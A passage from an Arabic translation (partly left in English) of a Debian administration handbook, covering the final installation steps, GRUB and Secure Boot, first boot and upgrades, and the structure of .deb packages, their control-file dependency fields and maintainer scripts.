يحوي نظام دبيان حزمة تسمى popularity-contest، هدفها تجميع إحصائيات استخدام الحزم. كل أسبوع يُجمّع البرنامج معلومات حول الحزم المُثبّتة والمستخدمة مؤخرًا، ويرسلها بشكل مجهول إلى مخدمات مشروع دبيان، حتى يتمكن المشروع من تحديد الأهمية النسبية لكل حزمة، وهذا يؤثر على أولويتها. تُضمّن الحزم الأكثر ”شعبية“ في القرص التثبيت الأول لتسهيل حصول المستخدمين الذين لا يفضلون تنزيلها أو شراء المجموعة الكاملة للأقراص عليها.

هذه الحزمة تُفعّل فقط عند الطلب، احترامًا لسرّية استخدامات المستخدمين.

4.2.17. اختيار الحزم التي ستُثبَّت

تسمح الخطوة التالية اختيار الغرض المطلوب من الحاسوب بشكل تقريبي؛ كل مهمة من المَهمّات العشرة المقترحة تقابل قائمة من الحزم تُثبَّت عند اختيارها. لائحة الحزم التي ستُثبّت فعلاً ستُضبط وتكمّل لاحقًا، إلا أن هذه المرحلة تعطي نقطة انطلاق جيدة بطريقة بسيطة.

Some packages are also automatically installed according to the hardware detected (thanks to the program discover-pkginstall from the discover package).

شكل 4.13. اختيار المَهمّات

4.2.18. تثبيت مُحمّل الإقلاع GRUB

مُحمّل الإقلاع هو أول برنامج يُشغّله البيوس، حيث يُحمّل نواة لينكس إلى الذاكرة ثم يُنفذُها. وغالبًا ما يعرض قائمة تسمح للمستخدم اختيار النواة المراد تحميلها أو نظام التشغيل المراد إقلاعه.

تنبيه مُحمّل الإقلاع والإقلاع المزدوج

تَكتشف هذه المرحلة من عمليّة تثبيت دبيان أنظمة التشغيل المُثبّتة مسبقًا على الحاسوب، و تُضيف آليًا الخيارات المناسبة في قائمة الإقلاع، لكن لا تقوم جميع برامج التثبيت بهذا الأمر.

In particular, if you install (or reinstall) Windows thereafter, the bootloader will be erased. Debian will still be on the hard drive, but will no longer be accessible from the boot menu (except for Windows 10, where it will still be accessible through the Windows recovery console). You would then have to boot the Debian installation system in rescue mode to set up a less exclusive bootloader. This operation is described in detail in the installation manual.

→ https://www.debian.org/releases/stable/amd64/ch08s06

تحوي القائمة التي يقترحها GRUB افتراضيًا جميع نَوَى لينكس المُثبّتة، بالإضافة لأنظمة التشغيل الأخرى المكتشفة. لهذا يجب قبول اقتراح تثبيت المُحمّل في سجل الإقلاع الرئيسي (Master Boot Record). من المستحسن الاحتفاظ ببضعة إصدارات قديمة للنواة حتى تتمكن من إقلاع النظام في حالة وجود خَلَل أو عدم توافقية مع العتاد في آخر نواة مُثبّتة.

GRUB هو مُحمّل الإقلاع الافتراضي الذي يثبَّته دبيان، وذلك لتفوقه التقني: حيث يعمل مع أغلب نظم الملفات بالإضافة إلى أنه لا يحتاج للتحديث كلما ثُبّتَتْ نواةٌ جديدة، لأنه يقرأ إعداداته أثناء الإقلاع ويعثر على الموضع الدقيق للنواة الجديدة. لا يستطيع إصدار GRUB الأول (المعروف باسم ”Grub Legacy“ أيضًا) التعامل مع كافة تجميعات LVM وSoftware RAID؛ أما الإصدار 2 المُثبَّت افتراضيًا، فهو أشمل. قد تكون هناك حالات حيث يُفضّل استخدام LILO (مُحمّل إقلاع آخر)؛ في مثل هذه الحالات سيقترح المُثبّت ذلك آليًا.

It is worth noting that GRUB is not a single bootloader, it is more like a collection of bootloaders suited for different cases. The numerous binary packages built out of the GRUB source package reflect that: grub-efi-amd64 is for 64-bit PC booting in UEFI mode, grub-efi-ia32 is for 32-bit PC booting in UEFI mode, grub-pc is for PC booting in BIOS mode, grub-uboot for ARM computers, etc.

يُرجى مراجعة قسم 8.8.3, “ضبط GRUB 2” لمزيد من المعلومات حول ضبط GRUB.

CULTURE Secure Boot and the shim bootloader

Secure Boot is a technology ensuring that you run only software validated by your operating system vendor. To accomplish its work each element of the boot sequences validates the next software component that it will execute. At the deepest level, the UEFI firmware embeds cryptographic keys provided by Microsoft to check the bootloader's signature, ensuring that it is safe to execute. Since getting a binary signed by Microsoft is a lengthy process, Debian decided to not sign GRUB directly. Instead it uses an intermediary bootloader called shim, which almost never needs to change, and whose only role is to check Debian's provided signature on GRUB and execute GRUB. To run Debian on a machine having Secure Boot enabled, you need to install the shim-signed package.

Down the stack, GRUB will do a similar check with the kernel, and then the kernel might also check signatures on modules that get loaded. The kernel might also forbid some operations that could alter the integrity of the system.

Debian 10 is the first release supporting Secure Boot. Before, you had to disable that feature in the system setup screen offered by the BIOS or the UEFI.

4.2.19. إنهاء التثبيت وإعادة الإقلاع

انتهى التثبيت الآن، سوف يطلب منك البرنامج إزالة قرص CD-ROM من قارئ الأقراص ثم إعادة تشغيل الحاسوب.

4.3. بعد الإقلاع الأول

إن سبق وفعّلت المَهمّة ”Debian desktop environment“ دون تحديد أي سطح مكتب صراحة (أو إذا اخترت ”GNOME“) سوف يعرض الحاسوب مدير تسجيل الدخول (login manager)‏ gdm3.

شكل 4.14. الإقلاع الأول

يستطيع المستخدم الذي سبق إنشاؤه إذن تسجيل دخوله الآن وبدء العمل مباشرة.

4.3.1. تثبيت البرمجيات الإضافية

تتفق الحزم المثبّتة مع لائحة الحزم المنتقاة أثناء التثبيت، لكن لا يشترط أن توافق الاستخدام الفعلي للحاسوب. لذلك قد ترغب في استخدام أداة إدارة الحزم لتعديل مجموعة الحزم المُثبّتة. الأداتان الأكثر استخدامًا (واللتان تثبتان عند اختيار مهمة ”Debian desktop environment“) هما apt (يمكن الوصول إليها من سطر الأوامر) وsynaptic‏ (”Synaptic Package Manager“ من القوائم).

لتسهيل تثبيت مجموعة مترابطة من الحزم، يُنشىء دبيان ”مَهمّات“ (أو لوائح من الحزم بمعنى آخر) مخصصة لاستخدامات معينة (مخدم بريد، مخدم ملفات، إلخ.). هذه المَهمّات سبق اختيارها أثناء التثبيت، كما يمكن الوصول إليها مرة أخرى من خلال أدوات إدارة الحزم مثل aptitude (تُعرَضُ المهمات في قسم منفصل) أو synaptic (من خلال القائمة تحرير → علّم الحزم بحسب المَهمّات…).

Aptitude هي واجهة للأداة APT تعمل في الوضع النصي. تسمح للمستخدم بتصفح قائمة الحزم المتوفرة حسب عدة تصنيفات (الحزم المُثبّتة، أو غير المُثبّتة، أو حسب المهمّات، أو حسب الأقسام، إلخ)، وعرض المعلومات المتوفرة عنها (الاعتماديات، والتضاربات، وتوصيف الحزمة، إلخ). يمكن تعليم كل حزمة لتثبيتها بالضغط على المفتاح + أو لإزالتها عبر الضغط على المفتاح -. تُنفّذ جميع هذه العمليات دفعة واحدة بعد تأكيدها عبر الضغط على المفتاح g (اختصاراً لكلمة ”!go“). إن نسيتَ بعض البرامج فلا تقلق، يمكن دائمًا تنفيذ الأمر aptitude مرة أخرى بعد انتهاء التثبيت الابتدائي.

تلميح دبيان يهتم باللغات غير الإنكليزية

توجد العديد من المَهمّات المخصصة لتوطين (localization) النظام لِلُغات أخرى غير الإنكليزية، تتضمن وثائق مترجمة، وقواميس، وحزم متنوعة أخرى مفيدة للمتحدثين بلغات مختلفة. تُحدَّد المَهمّات المناسبة آليًا عند استخدام لغة تختلف عن الإنكليزية أثناء التثبيت.

Of course, it is possible not to select any task to be installed. In this case, you can manually install the desired software with the apt or aptitude command (which are both accessible from the command line).

مصطلحات اعتماديات الحزم والتضاربات

في لغويات حزم دبيان، تشير كلمة ”اعتمادية dependency“ إلى حزمة أخرى لازمة لعمل الحزمة المطلوب تثبيتها بشكل جيد. وبالعكس، تشير كلمة ”تضارب conflict“ إلى عدم إمكانية تثبيت الحزمة بالتزامن مع الأخرى.

هذا المفهوم مفصّل بشكل أكبر في فصل 5, نظام الحزم: الأدوات والمبادئ الأساسية.

4.3.2. تحديث النظام

A first apt upgrade (a command used to automatically update installed programs) is generally required, especially for possible security updates issued since the release of the latest Debian stable version. These updates may involve some additional questions through debconf, the standard Debian configuration tool. For further information on these updates conducted by apt, please refer to قسم 6.2.3, “تحديث النظام”.

فصل 5. نظام الحزم: الأدوات والمبادئ الأساسية

بما أنك مدير دبيان، فسوف تتعامل مع حزم .deb بشكل متكرر، التي تحوي عناصر وظيفية مترابطة (تطبيقات، وثائق... الخ)، تُسهِّل هذه الحزم تثبيتها وصيانتها. فمن الجيد إذن أن تعرف مما تتألف هذه الحزم وكيف تستخدمها.

يصف هذا الفصل بنية ومحتويات الحزم "الثنائية" و "المصدر". الأول هي الملفات التي يمكن الاستفادة منها مباشرة من قبل dpkg ، في حين أن هذا الأخير يحتوي على شفرة المصدر، فضلا عن تعليمات لبناء حزم ثنائية.

5.1. بنية الحزمة الثنائية

صيغة حزم دبيان مصممة بحيث يمكن استخراج محتوياتها على أي نظام يونكس يملك الأوامر الكلاسيكية ar، و tar، و gzip (وأحياناً xz أو bzip2). هذه الخاصية التافهة ظاهريًا حاسمة بالنسبة لقابلية النقل والإنقاذ في حالات الكوارث.

Imagine, for example, that you mistakenly deleted the dpkg program, and that you could thus no longer install Debian packages. dpkg being a Debian package itself, it would seem your system would be done for... Fortunately, you know the format of a package and can therefore download the .deb file of the dpkg package and install it manually (see sidebar أدوات dpkg ،APT و ar). If by some misfortune one or more of the programs ar, tar or gzip/xz/bzip2 have disappeared, you will only need to copy the missing program from another system (since each of these operates in a completely autonomous manner, without dependencies, a simple copy will suffice). If your system suffered some even more outrageous fortune, and even these don't work (maybe the deepest system libraries are missing?), you should try the static version of busybox (provided in the busybox-static package), which is even more self-contained, and provides subcommands such as busybox ar, busybox tar and busybox xz.

In case of a misfortune you better also have a backup of your system (see قسم 9.10, “النسخ الاحتياطي”).

أدوات dpkg ،APT و ar

dpkg is the program that handles .deb files (binary packages), notably extracting, analyzing, and unpacking them.

APT (the abbreviation of "Advanced Packaging Tool") is a group of programs that allows the execution of higher-level modifications to the system: installing or removing a package (while keeping dependencies satisfied), updating and upgrading the system, listing the available packages, etc.

As for the ar program, it allows handling files of the same name: ar t archive displays the list of files contained in such an archive, ar x archive extracts the files from the archive into the current working directory, ar d archive file deletes a file from the archive, etc. Its man page (ar(1)) documents all its other features. ar is a very rudimentary tool that a Unix administrator would only use on rare occasions, but admins routinely use tar, a more evolved archive and file management program. This is why it is easy to restore dpkg in the event of an erroneous deletion. You would only have to download the Debian package and extract the content from the data.tar.xz archive in the system's root (/):

# ar x dpkg_1.19.7_amd64.deb # tar -C / -p -xJf data.tar.xz

أساسيات ترقيم صفحات الدليل

قد يُذهَل المبتدئون لوجود إشارة إلى ”ar(1)‎“ في النص. هذه عادةً طريقة مناسبة للإشارة إلى صفحة الدليل ذات الاسم ar في القسم 1.

يستخدم هذا التدوين أحيانًا لرفع الالتباس، مثلاً للتفريق بين الأمر printf الذي يمكن الإشارة إليه بـ printf(1)‎ أيضًا وبين الدالة printf في لغة البرمجة C، التي يمكن الإشارة إليها بـ printf(3)‎.

يناقش فصل 7, حل المشكلات والعثور على المعلومات صفحات الدليل بتفصيل أكثر (انظر قسم 7.1.1, “صفحات الدليل”).

لنلقِ نظرة على محتويات ملف .deb:

$ ar t dpkg_1.19.7_amd64.deb debian-binary control.tar.gz data.tar.xz $ ar x dpkg_1.19.7_amd64.deb $ ls control.tar.gz data.tar.xz debian-binary dpkg_1.19.7_amd64.deb $ tar tJf data.tar.xz | head -n 16 ./ ./ ./etc/ ./etc/alternatives/ ./etc/alternatives/README ./etc/cron.daily/ ./etc/cron.daily/dpkg ./etc/dpkg/ ./etc/dpkg/dpkg.cfg ./etc/dpkg/dpkg.cfg.d/ ./etc/logrotate.d/ ./etc/logrotate.d/alternatives ./etc/logrotate.d/dpkg ./sbin/ ./sbin/start-stop-daemon ./usr/ ./usr/bin/ $ tar tJf control.tar.xz ./ ./conffiles ./control ./md5sums ./postinst ./postrm $ cat debian-binary 2.0

كما ترى، يتألف أرشيف ar الذي يضم حزمة دبيان من ثلاثة ملفات:

debian-binary

This is a text file which simply indicates the version of the .deb file package format version. In Debian Buster it is still version 2.0.

control.tar.xz

This archive file contains all of the available meta-information, like the name and version of the package as well as some scripts to run before, during or after (un-)installation of it. Some of the meta-information allows package management tools to determine if it is possible to install or uninstall it, for example according to the list of packages already on the machine, and if files shipped have been modified locally.

data.tar.xz, data.tar.bz2, data.tar.gz

This archive contains all of the files to be extracted from the package; this is where the executable files, libraries, documentation, etc., are all stored. Packages may use different compression formats, in which case the file will be named differently for xz, bzip2 or gzip.

5.2. المعلومات الفوقية للحزمة

The Debian package is not only an archive of files intended for installation. It is part of a larger whole and describes its relationship with other Debian packages (requisites, dependencies, conflicts, suggestions). It also provides scripts that enable the execution of commands at different stages in the package's lifecycle (installation, upgrade, removal). These data are used by the package management tools but are not part of the packaged software; they are, within the package, what is called its “meta-information” (information about other information).

5.2.1. وصف: الملف control

This file uses a structure similar to email headers (as defined by RFC 2822) and is fully described in the Debian Policy and the manual pages deb-control(5) and deb822(5).

→ https://www.debian.org/doc/debian-policy/ch-controlfields.html

For example, for apt, the control file looks like the following:

$ apt-cache show apt Package: apt Version: 1.8.2 Installed-Size: 4064 Maintainer: APT Development Team <deity@lists.debian.org> Architecture: amd64 Replaces: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~) Provides: apt-transport-https (= 1.8.2) Depends: adduser, gpgv | gpgv2 | gpgv1, debian-archive-keyring, libapt-pkg5.0 (>= 1.7.0~alpha3~), libc6 (>= 2.15), libgcc1 (>= 1:3.0), libgnutls30 (>= 3.6.6), libseccomp2 (>= 1.0.1), libstdc++6 (>= 5.2) Recommends: ca-certificates Suggests: apt-doc, aptitude | synaptic | wajig, dpkg-dev (>= 1.17.2), gnupg | gnupg2 | gnupg1, powermgmt-base Breaks: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~), aptitude (<< 0.8.10) Description-en: commandline package manager This package provides commandline tools for searching and managing as well as querying information about packages as a low-level access to all features of the libapt-pkg library. . These include: * apt-get for retrieval of packages and information about them from authenticated sources and for installation, upgrade and removal of packages together with their dependencies * apt-cache for querying available information about installed as well as installable packages * apt-cdrom to use removable media as a source for packages * apt-config as an interface to the configuration settings * apt-key as an interface to manage authentication keys Description-md5: 9fb97a88cb7383934ef963352b53b4a7 Tag: admin::package-management, devel::lang:ruby, hardware::storage, hardware::storage:cd, implemented-in::c++, implemented-in::perl, implemented-in::ruby, interface::commandline, network::client, protocol::ftp, protocol::http, protocol::ipv6, role::program, scope::application, scope::utility, suite::debian, use::downloading, use::organizing, use::playing, use::searching, works-with-format::html, works-with::audio, works-with::software:package, works-with::text Section: admin Priority: required Filename: pool/main/a/apt/apt_1.8.2_amd64.deb Size: 1418108 MD5sum: 0e80dedab6ec1e66a8f6c15f1925d2d3 SHA256: 80e9600822c4943106593ca5b0ec75d5aafa74c6130ba1071b013c42c507475e

أساسيات RFC — معايير الإنترنت

RFC is the abbreviation of “Request For Comments”. An RFC is generally a technical document that describes what will become an Internet standard. Before becoming standardized and frozen, these standards are submitted for public review (hence their name). The IETF (Internet Engineering Task Force) decides on the evolution of the status of these documents (proposed standard, draft standard, or standard).

يُعرِّف RFC 2026 عملية توحيد بروتوكولات الإنترنت.

→ http://www.faqs.org/rfcs/rfc2026.html

5.2.1.1. الاعتماديات: حقل Depends

The dependencies are defined in the Depends field in the package header. It is a list of conditions to be met for the package to work correctly. This information is used by tools such as apt in order to install the required libraries, tools, drivers, etc. in appropriate versions fulfilling the dependencies of the package to be installed. For each dependency, it is possible to restrict the range of versions that meet that condition. In other words, it is possible to express the fact that we need the package libc6 in a version equal to or greater than “2.15” (written “libc6 (>= 2.15)”). Version comparison operators are as follows:

<<: أقل من؛

<=: أقل من أو يساوي؛

=: يساوي (لاحظ أن ”2.6.1“ لا يساوي ”2.6.1-1‎“)؛

>=: أكبر من أو يساوي؛

>>: أكبر من؛

In a list of conditions to be met, the comma serves as a separator. It must be interpreted as a logical “and”. In conditions, the vertical bar (“|”) expresses a logical “or” (it is an inclusive “or”, not an exclusive “either/or”). Carrying greater priority than “and”, it can be used as many times as necessary. Thus, the dependency “(A or B) and C” is written A | B, C. In contrast, the expression “A or (B and C)” should be written as “(A or B) and (A or C)”, since the Depends field does not tolerate parentheses that change the order of priorities between the logical operators “or” and “and”. It would thus be written A | B, A | C.

→ https://www.debian.org/doc/debian-policy/#document-ch-relationships

نظام الاعتماديات وسيلة جيدة لضمان عمل البرنامج، لكن له استخدام آخر عبر ”الحزم الفوقية“. هذه الحزم هي حزم فارغة تُعرّف فقط اعتماديات. وهي تُسهِّل تثبيت مجموعة مترابطة من البرامج التي يختارها مشرف الحزمة الفوقية مسبقاً؛ بالتالي، سيثبت الأمر apt install meta-package جميع هذه البرامج آلياً باستخدام اعتماديات الحزمة الفوقية. الحزم gnome، و kde-full و linux-image-amd64 هي أمثلة عن الحزم الفوقية.

سياسة دبيان حقول Recommends و Suggests و Enhances

يصف الحقلين Recommends و Suggests اعتماديات غير إلزامية. الاعتماديات في حقل ”recommended“ (المستحسنة أو الموصى بها)، أكثرها أهمية، تزيد وظائفية الحزمة بشكل واضح لكنها ليست ضرورية لتشغيلها. الاعتماديات في حقل ”suggested“ (المقترحة)، ذات أهمية ثانوية، وتشير إلى حزم معينة يمكن لها إكمال الأداة المثبتة وزيادة فائدتها، لكن من المنطقي تماماً تثبيت واحدة منها فقط دون البقية.

You should always install the “recommended” packages, unless you know exactly why you do not need them. This is now also the default for APT unless configured otherwise. Conversely, it is not necessary to install “suggested” packages unless you know why you need them. The behavior of apt can be controlled by using the APT::Install-Recommends and APT::Install-Suggests configuration options or the corresponding command line options --[no-]install-recommends and --[no-]install-suggests.

يصف الحقل Enhances اقتراحات أيضاً، ولكن في سياق مختلف. يقع هذا الحقل في الحقيقة في الحزمة المُقتَرَحة، وليس في الحزمة التي تستفيد من الاقتراح. تكمن فائدته في أنه يمكن إضافة اقتراحات دون الحاجة لتعديل الحزمة المستفيدة. وهكذا، يمكن أن تظهر الإضافات، والامتدادات وغيرها من زيادات البرامج في قائمة المقترحات الخاصة بها. رغم أن هذا الحقل كان موجوداً منذ عدة سنوات، إلا أن البرامج مثل apt أو synaptic لا تزال تتجاهله غالباً. الهدف منه هو ظهور المقترحات المذكورة في حقل Enhances للمستخدم بالإضافة للمقترحات التقليدية — التي تجدها في الحقل Suggests.

سياسة دبيان الاعتمادية الاستباقية، اعتمادية تلبيتها أصعب

”الاعتماديات الاستباقية pre-dependencies“، التي تذكر في الحقل ”Pre-Depends“ في ترويسة الحزمة، تكمل الاعتماديات الطبيعية؛ وصيغة توصيفها مطابقة لها. تُبيّن الاعتمادية العادية أنه يجب فك الضغط عن الحزمة المطلوبة وإعدادها قبل إعداد الحزمة التي صَرَّحت عن الاعتمادية. أما الاعتمادية الاستباقية فهي تشترط فك الضغط عن الحزمة المطلوبة وإعدادها قبل تنفيذ سكربت الإعداد السابق للتثبيت الخاص بالحزمة التي صرحت عن الاعتمادية الاستباقية، أي قبل البدء بتثبيتها.

الاعتماديات الاستباقية تُقيّد apt كثيراً، لأنها تضيف قيداً على ترتيب الحزم التي يجب تثبيتها. لذلك، لا ينصح باستخدام الاعتماديات الاستباقية إلا في حال الضرورة القصوى. بل إن الأفضل استشارة المطورين الآخرين على < debian-devel@lists.debian.org> قبل إضافة اعتمادية استباقية. من الممكن عموماً إيجاد حل آخر للالتفاف حول المشكلة.

5.2.1.2. تضارب: حقل Conflicts

The Conflicts field indicates when a package cannot be installed simultaneously with another. The most common reasons for this are that both packages include a file of the same name and path, or provide the same service on the same TCP port, or would hinder each other's operation.

يرفض dpkg تثبيت حزمة تتعارض مع حزمة مثبتة سابقاً، إلا إذا كانت الحزمة الجديدة تبين أنها ”تستبدل“ الحزمة المثبتة، في تلك الحالة، يختار dpkg استبدال الحزمة القديمة بالجديدة. أما apt فتتبع إرشاداتك دوماً: إذا اخترت تثبيت حزمة جديدة، سوف تعرض عليك تلقائياً إزالة الحزمة التي تسبب مشكلة.

5.2.1.3. عدم التوافق: حقل Breaks

تأثير الحقل Breaks يشبه تأثير الحقل Conflicts، لكن له معنى خاص. يشير هذا الحقل إلى أن تثبيت الحزمة سوف ”يعطب“ حزمة أخرى (أو نسخة محددة منها). عموماً، هذا النوع من عدم التوافق بين الحزم انتقالي، وغالباً ما تحدد علاقة Breaks الإصدارات غير المتوافقة فيما بينها.

يرفض dpkg تثبيت حزمة تعطب حزمة مثبتة مسبقاً، أما apt فتحاول حل المشكلة بتحديث الحزمة التي كانت ستتعطل إلى إصدار أحدث (الذي يفترض أنه قد أُصلِح، وأنه قد عاد متوافقاً من جديد).

يحدث هذا النوع من الحالات في حال صدور تحديثات بدون توافق عكسي: هذا ما يحدث عندما لا تتوافق النسخة الجديدة مع النسخة القديمة، وتسبب أعطالاً في برامج أخرى ما لم تتخذ الاحتياطات المناسبة. يستخدم الحقل Breaks لمنع المستخدم من الخوض في هذه المشاكل.

5.2.1.4. العناصر المقدَّمة: حقل Provides

يقدم هذا الحقل مفهوم ”الحزمة الظاهرية“. لهذا الحقل أدوار عديدة، لكن اثنين منها لهما أهمية خاصة. يتمثل الدور الأول في استخدام الحزمة الظاهرية لربطها مع خدمة عامة (الحزمة ”توفر provides“ الخدمة). أما الدور الثاني فهو أن هذا الحقل يشير إلى أن الحزمة تستبدل حزمة أخرى بالكامل، وأنها تستطيع أيضاً تلبية اعتماديات الحزم التي تعتمد على الحزمة المُستَبدَلَة. بالتالي، يمكن إنشاء حزمة بديلة دون الاضطرار لاستخدام اسم الحزمة نفسه.

مصطلحات الحزمة الفوقية والحزمة الظاهرية

من المهم التمييز بوضوح بين الحزم الفوقية وبين الحزم الظاهرية. الأولى هي حزم حقيقية (ولها ملفات ‎.deb حقيقية)، غرضها الوحيد التصريح عن اعتماديات.

أما الحزم الظاهرية، فلا وجود لها فيزيائياً؛ بل هي مجرد وسيلة لمطابقة الحزم الحقيقية اعتماداً على معايير منطقية مشتركة (الخدمات المقدَّمة، التوافق مع برنامج معياري أو حزمة سابقة، الخ).

5.2.1.4.1. تقديم ”خدمة“

دعنا نناقش الحالة الأولى بتفصيل أكثر من خلال مثال: نقول أن جميع مخدمات البريد الإلكتروني، مثل postfix أو sendmail ”تُقدِّم“ الحزمة الظاهرية mail-transport-agent. بالتالي، أي حزمة تحتاج هذه الخدمة (مثل برامج إدارة قوائم بريدية، مثل smartlist أو sympa) تصرح ببساطة أنها تحتاج mail-transport-agent في اعتمادياتها بدلاً من تحديد قائمة طويلة وغير كاملة للحلول الممكنة (مثل postfix‏ | sendmail‏ | exim4 | …). بالإضافة لذلك، لا فائدة من تثبيت مخدمي بريد إلكتروني على نفس الجهاز، ولذلك تصرح كل واحدة من هذه الحزم عن تعارض مع الحزمة الظاهرية mail-transport-agent. يتجاهل النظام تعارض الحزمة مع نفسها، لكن هذه التقنية تمنع تثبيت أكثر من مخدم بريد إلكتروني واحد على نفس الجهاز.

سياسة دبيان قائمة الحزم الظاهرية

حتى تتحقق الفائدة من الحزم الظاهرية، يجب أن يتوافق الجميع على أسمائها. لذلك تجعل سياسة دبيان هذه الحزم قياسية. تتضمن اللائحة mail-transport-agent لمخدمات البريد، و c-compiler لمترجمات لغة C، و www-browser لمتصفحات الوب، و httpd لمخدمات الوب، و ftp-server لمخدمات FTP، و x-terminal-emulator لمحاكيات الطرفية في الوضع الرسومي (xterm)، و x-window-manager لبرامج إدارة النوافذ، بالإضافة إلى العديد من الأسماء الأخرى.

يمكنك الحصول على اللائحة الكاملة من الوب.

→ http://www.debian.org/doc/packaging-manuals/virtual-package-names-list.yaml

5.2.1.4.2. إبدال الحزم

The Provides field is also interesting when the content of a package is included in a larger package. For example, the libdigest-md5-perl Perl module was an optional module in Perl 5.6, and has been integrated as standard in Perl 5.8 (and later versions, such as 5.28 present in Buster). As such, the package perl has since version 5.8 declared Provides: libdigest-md5-perl so that the dependencies on this package are met if the user has Perl 5.8 (or newer). The libdigest-md5-perl package itself has eventually been deleted, since it no longer had any purpose when old Perl versions were removed.

شكل 5.1. استعمال الحقل Provides للحفاظ على سلامة علاقات الاعتماد بين الحزم

هذه الميزة مفيدة جداً، لأنه لا يمكن أبداً التنبؤ بتقلبات التطوير، ومن المهم أن يكون هناك مجال للتكيف مع إعادة التسمية وغيرها من الاستبدالات الآلية للبرمجيات الميتة.

أساسيات بيرل، لغة برمجة

Perl (Practical Extraction and Report Language) is a very popular programming language. It has many ready-to-use modules that cover a vast spectrum of applications, and that are distributed by the CPAN (Comprehensive Perl Archive Network) servers, an exhaustive network of Perl packages.

→ https://www.perl.org/

→ https://www.cpan.org/

بما أنها لغة مفسرة، فلا يحتاج البرنامج المكتوب بها لترجمة قبل تنفيذه. ولهذا تدعى البرامج المكتوبة بها ”سكربتات بيرل“.

5.2.1.4.3. القيود السابقة

كانت الحزم الظاهرية تعاني من بعض القيود، وكان أهمها عدم وجود رقم للإصدار. بالعودة إلى مثالنا السابق، لا يمكن لنظام الحزم أن يعتبر الاعتمادية Depends: libdigest-md5-perl (>= 1.6) مثلاً محققة أبداً، حتى مع تثبيت بيرل 5.10 — رغم أنها على الأغلب محققة فعلاً. لكن نظام الحزم لا يدرك هذا، ويفضل الخيار الأقل مخاطرة، ويفترض أن الإصدارين غير متناسبين.

This limitation has been lifted in dpkg 1.17.11, and is no longer relevant. Packages can assign a version to the virtual packages they provide with a dependency such as Provides: libdigest-md5-perl (= 1.8).

5.2.1.5. استبدال الملفات: حقل Replaces

يشير الحقل Replaces إلى أن الحزمة تحوي ملفات تتوفر أيضاً في حزم أخرى، لكن هذه الحزمة مخولة باستبدالها شرعاً. بدون هذا التصريح، سيخفق dpkg، ويعلن أنه لا يستطيع استبدال ملفات الحزمة الأخرى (تقنياً، يمكن إجبار dpkg على ذلك باستخدام الخيار ‎--force-overwrite، لكن هذه العملية لا تعتبر عملية قياسية). هذا يسمح بالتعرف على المشاكل التي يُحتَمَل ظهورها، كما يفرض على المشرف دراسة الوضع قبل أن يقرر إضافة حقل كهذا.

يُبرَّر استخدام هذا الحقل عند تغيير اسم الحزمة أو عند تضمين حزمة في حزمة أخرى. كما يحدث هذا أيضاً عندما يقرر المشرف توزيع الملفات الناتجة عن حزمة مصدرية واحدة بشكل متفاوت بين عدة حزم ثنائية متنوعة: لم يعد الملف المستبدل ينتمي للحزمة القديمة، بل فقط للحزمة الجديدة.

إذا استبدلت جميع ملفات إحدى الحزم المثبتة، تعتبر الحزمة مزالة. أخيراً، يشجع هذا الحقل dpkg على إزالة الحزمة المستبدَلَة عند حدوث تضارب.

التعمق أكثر حقل Tag

In the apt example above, we can see the presence of a field that we have not yet described, the Tag field. This field does not describe a relationship between packages, but is simply a way of categorizing a package in a thematic taxonomy. This classification of packages according to several criteria (type of interface, programming language, domain of application, etc.) has been available for a long time. Despite this, not all packages have accurate tags and it is not yet integrated in all Debian tools; aptitude displays these tags, and allows them to be used as search criteria. For those who are repelled by aptitude's search criteria, the following website allows navigation of the tag database:

→ https://wiki.debian.org/Debtags

5.2.2. سكربتات الإعداد

In addition to the control file, the control.tar.gz archive for each Debian package may contain a number of scripts, called by dpkg at different stages in the processing of a package. The Debian Policy describes the possible cases in detail, specifying the scripts called and the arguments that they receive. These sequences may be complicated, since if one of the scripts fails, dpkg will try to return to a satisfactory state by canceling the installation or removal in progress (insofar as it is possible).

التعمق أكثر قاعدة بيانات dpkg

تُخزَّن جميع سكربتات الإعداد الخاصة بالحزم المثبتة في المجلد /var/lib/dpkg/info/، بشكل ملف مسبوق باسم الحزمة. يحوي هذا المجلد أيضًا على ملف امتداده .list لكل حزمة، يحوي قائمة بالملفات التي تنتمي لتلك الحزمة.

يحتوي الملف /var/lib/dpkg/status على سلسلة من كتل البيانات (بتنسيق ترويسات البريد الشهير، RFC 2822) تصف حالة كل حزمة. كما تُنسَخ المعلومات من ملف control الخاص بالحزمة المثبتة هناك أيضًا.

In general, the preinst script is executed prior to installation of the package, while postinst follows it. Likewise, prerm is invoked before removal of a package and postrm afterwards. An update of a package is equivalent to removal of the previous version and installation of the new one. It is not possible to describe in detail all the possible scenarios here, but we will discuss the most common two: an installation/update and a removal.

تحذير أسماء السكربتات الرمزية

الأحداث الموصوفة في هذا القسم تدعو السكربتات بأسماء خاصة، مثل old-prerm أو new-postinst. هذه تعني السكربت prerm الموجود في النسخة القديمة من الحزمة (المثبتة قبل التحديث) والسكربت postinst الموجود في النسخة الجديدة (المثبتة بعد التحديث).

تلميح مخططات الحالة

Manoj Srivastava and Margarita Manterola made the following diagrams explaining how the configuration scripts are called by dpkg.

→ https://people.debian.org/~srivasta/MaintainerScripts.html

→ https://www.debian.org/doc/debian-policy/ap-flowcharts.html

5.2.2.1. التثبيت والتحديث

إليك ما يحدث خلال التثبيت (أو التحديث):

بالنسبة للتحديث، يستدعي dpkg الأمر old-prerm upgrade new-version.

في التحديث أيضاً، ينفذ dpkg بعدها new-preinst upgrade old-version؛ أما بالنسبة للتثبيت للمرة الأولى فيستدعي new-preinst install. قد يضيف dpkg الإصدار القديم إلى ذيل البارامترات إذا كانت الحزمة مثبتة ومزالة من قبل (لكن لم يتم تطهيرها، أي أن ملفات إعداداتها لا تزال موجودة).

بعدها يفك الضغط عن ملفات الحزمة الجديدة. تستبدل الملفات الموجودة سابقاً، لكن مع الاحتفاظ بنسخة احتياطية مؤقتة.

بالنسبة للتحديث، يستدعي dpkg الأمر old-postrm upgrade new-version.

يُحدِّث dpkg جميع البيانات الداخلية (لائحة الملفات، سكربتات الإعداد، الخ) ويحذف النسخ الاحتياطية للملفات المستبدلة. هذه هي نقطة اللاعودة: عند هذه اللحظة لا يعود dpkg قادراً على الوصول إلى جميع العناصر اللازمة للرجوع إلى الحالة السابقة.

بعدها يُحدِّث dpkg ملفات الضبط، ويطلب من المستخدم اتخاذ قرار إذا لم يستطع إدارة هذه المهمة آلياً. تفاصيل هذه العملية مشروحة في قسم 5.2.3, “شفرات التحقق، لائحة ملفات الضبط”.

